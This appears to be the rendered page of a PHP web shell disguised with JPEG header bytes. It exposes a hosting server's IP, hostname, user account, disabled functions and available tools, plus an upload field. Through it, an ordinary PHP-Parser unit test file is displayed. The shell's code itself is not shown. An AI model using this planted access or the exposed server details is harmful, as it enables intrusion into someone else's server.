ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.142.35.65 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/nicnAdmin/vendor/nikic/php-parser/test/PhpParser/Builder/ |
Upload File : |
<?php namespace PhpParser\Builder; use PhpParser\Node; use PhpParser\Node\Stmt; use PhpParser\Node\Scalar\DNumber; use PhpParser\Comment; class InterfaceTest extends \PHPUnit_Framework_TestCase { /** @var Interface_ */ protected $builder; protected function setUp() { $this->builder = new Interface_('Contract'); } private function dump($node) { $pp = new \PhpParser\PrettyPrinter\Standard; return $pp->prettyPrint(array($node)); } public function testEmpty() { $contract = $this->builder->getNode(); $this->assertInstanceOf('PhpParser\Node\Stmt\Interface_', $contract); $this->assertSame('Contract', $contract->name); } public function testExtending() { $contract = $this->builder->extend('Space\Root1', 'Root2')->getNode(); $this->assertEquals( new Stmt\Interface_('Contract', array( 'extends' => array( new Node\Name('Space\Root1'), new Node\Name('Root2') ), )), $contract ); } public function testAddMethod() { $method = new Stmt\ClassMethod('doSomething'); $contract = $this->builder->addStmt($method)->getNode(); $this->assertSame(array($method), $contract->stmts); } public function testAddConst() { $const = new Stmt\ClassConst(array( new Node\Const_('SPEED_OF_LIGHT', new DNumber(299792458.0)) )); $contract = $this->builder->addStmt($const)->getNode(); $this->assertSame(299792458.0, $contract->stmts[0]->consts[0]->value->value); } public function testOrder() { $const = new Stmt\ClassConst(array( new Node\Const_('SPEED_OF_LIGHT', new DNumber(299792458)) )); $method = new Stmt\ClassMethod('doSomething'); $contract = $this->builder ->addStmt($method) ->addStmt($const) ->getNode() ; $this->assertInstanceOf('PhpParser\Node\Stmt\ClassConst', $contract->stmts[0]); $this->assertInstanceOf('PhpParser\Node\Stmt\ClassMethod', $contract->stmts[1]); } public function testDocComment() { $node = $this->builder ->setDocComment('/** Test */') ->getNode(); $this->assertEquals(new Stmt\Interface_('Contract', array(), array( 'comments' => array(new Comment\Doc('/** Test */')) )), $node); } /** * @expectedException \LogicException * @expectedExceptionMessage Unexpected node of type "Stmt_PropertyProperty" */ public function testInvalidStmtError() { $this->builder->addStmt(new Stmt\PropertyProperty('invalid')); } public function testFullFunctional() { $const = new Stmt\ClassConst(array( new Node\Const_('SPEED_OF_LIGHT', new DNumber(299792458)) )); $method = new Stmt\ClassMethod('doSomething'); $contract = $this->builder ->addStmt($method) ->addStmt($const) ->getNode() ; eval($this->dump($contract)); $this->assertTrue(interface_exists('Contract', false)); } }